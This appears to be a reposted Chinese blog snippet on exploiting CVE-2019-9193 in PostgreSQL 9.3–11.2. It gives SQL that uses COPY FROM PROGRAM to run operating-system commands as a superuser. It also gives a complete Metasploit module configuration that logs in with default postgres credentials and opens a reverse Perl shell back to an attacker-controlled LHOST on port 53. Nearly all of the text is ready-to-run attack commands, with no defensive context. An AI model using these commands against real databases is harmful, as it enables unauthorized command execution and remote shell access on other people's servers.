微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

postgresql提权

(CVE-2019-9193)

CVE-2019-9193:Postpresql 9.3-11.2 允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令:

drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select * from cmd_exec;
drop table if exists cmd_exec;

需要注意的是:命令中的单引号需要用双引号进行转义,如:echo 'test' >> 'echo "test";'
MSF中也有对应的利用模块

use exploit/multi/postgres/postgres_cmd_execution_nine_three 
set RHOST 192.168.1.5
set payload cmd/unix.reverse_perl
set database postgres
set username postgres
set password postgres
set LHOST 192.168.1.6
set LPORT 53
exploit

参考链接http://t3ngyu.leanote.com/post/Postgresql

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐